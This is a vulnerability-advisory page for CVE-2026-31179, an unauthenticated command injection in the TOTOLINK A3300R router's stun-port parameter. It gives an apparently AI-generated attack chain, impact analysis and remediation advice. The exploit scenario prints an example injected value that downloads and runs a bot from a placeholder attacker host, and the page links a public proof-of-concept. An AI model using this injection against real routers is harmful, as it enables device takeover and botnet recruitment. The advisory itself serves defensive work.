Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify WAN-exposed A3300R management interface
-
DeliverySend unauthenticated HTTP POST to /cgi-bin/cstecgi.cgi
-
ExploitInject shell payload via stun-port parameter
-
ExecutionRouter executes payload as root
-
ImpactEstablish persistent backdoor or exfiltrate credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attack targets /cgi-bin/cstecgi.cgi with a malicious stun-port parameter; based on the CVSS PR:N metric, the endpoint requires no authentication. The primary prerequisite is that the router's web management interface must be reachable from the attacker's network - devices with management restricted to LAN-only access are not directly exploitable from the internet. No special client-side configuration, browser state, or user interaction is required. The specific firmware version v17.0.0cu.557_B20221024 is the only confirmed affected build; other versions are unconfirmed. No non-default configuration of the STUN feature is required - the vulnerable parameter handler is reachable via normal HTTP POST to the management CGI. |
| Impact | The provided CVSS 6.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) materially understates real-world risk for this vulnerability class: command injection with PR:N on a router should in practice yield full system access (C:H/I:H/A:H) and scope change, as the router controls all traffic for downstream clients. The SSVC classification confirms this is automatable with a PoC present - the referenced GitHub repository provides exploit code lowering the skill bar significantly. However, EPSS at 0.04% (12th percentile) indicates low observed exploitation activity, which likely reflects the niche deployment footprint of this specific device model rather than inherent unexploitability. TOTOLINK vulnerabilities have historically attracted opportunistic botnet scanning, making this a credible target for automated campaigns. KEV status is unconfirmed. The primary limiting factor to exploitation is whether the management interface is WAN-exposed - routers restricted to LAN-only management are not directly reachable from the internet. The CVSS impact scoring discrepancy (C:L/I:L vs. expected C:H/I:H/A:H for root-level command injection) should be flagged to security teams: do not use the 6.5 score as the basis for prioritization without independent verification. |
| Exploit ScenarioDerived | A remote unauthenticated attacker scans the internet for TOTOLINK A3300R devices with the web management interface exposed on the WAN interface, then submits a crafted HTTP POST request to /cgi-bin/cstecgi.cgi embedding shell metacharacters in the stun-port parameter (e.g., a value such as 3478; wget http://attacker/bot -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot). The router firmware passes this value unsanitized to a shell command, executing the injected payload with root privileges and granting the attacker full control of the device. A public PoC is available in the referenced GitHub repository, making this attack accessible to low-skilled threat actors. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 24, 2026
Unauthenticated remote command injection in TOTOLINK A3300R firmware v17.0.0cu.557_B20221024 allows network-adjacent or internet-exposed attackers to execute arbitrary OS commands by injecting shell metacharacters into the stun-port parameter of /cgi-bin/cstecgi.cgi. The CVSS vector (PR:N/AC:L/UI:N) confirms no credentials or user interaction are required, and the SSVC assessment independently classifies the attack as automatable with a publicly available proof-of-concept - though EPSS at 0.04% (12th percentile) indicates minimal observed exploitation activity to date and no CISA KEV listing has been recorded. The vendor-assigned impact metrics (C:L/I:L/A:N) appear inconsistent with the expected consequence of OS-level command execution on router firmware, which typically yields full device compromise.
RemediationAI
No vendor-released patch has been identified at the time of analysis; patch availability per vendor advisory has not been confirmed. The primary compensating control is to disable WAN-side access to the router's web management interface immediately - this blocks unauthenticated remote exploitation from the internet while preserving LAN administration capability. If the STUN or NAT traversal feature is not actively required, disabling it via alternative configuration paths reduces the exposed attack surface, though this does not eliminate the vulnerability in the CGI handler itself. If no firmware patch is released by TOTOLINK, replacing the A3300R with a supported device receiving active security updates is the recommended long-term remediation. Monitor the NVD entry at https://nvd.nist.gov/vuln/detail/CVE-2026-31179 and TOTOLINK's official channels for patch availability. The researcher PoC repository at https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-stun-port-cmd-injection may contain additional technical detail useful for developing detection signatures.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in the TOTOLINK A3300R router's web-based management CGI handler (/cgi-bin/cstecgi.cgi), specifically in the routine that processes STUN (Session Traversal Utilities for NAT) port configuration. CWE-77 (Improper Neutralization of Special Elements used in a Command) identifies the root cause: attacker-controlled input to the stun-port parameter is concatenated directly into a shell command without sanitization, allowing injection of arbitrary shell metacharacters. TOTOLINK routers in this family run embedded Linux on MIPS architecture; the web management process typically executes with root privileges, so successful injection grants full OS control. The affected firmware build is v17.0.0cu.557_B20221024. The CPE string is listed as cpe:2.3:a:n/a:n/a in NVD, indicating incomplete vendor product registration and limiting automated tooling coverage.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Unauthenticated network-accessible command injection on router firmware yields root OS execution and scope change affecting all downstream network clients.
Primary rating from Vendor (mitre).
CVSS VectorVendor: mitre
Lifecycle Timeline
2DescriptionCVE.org
An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the stun-port parameter to /cgi-bin/cstecgi.cgi.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
EUVD-2026-25247
GHSA-r965-frwq-44xx
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB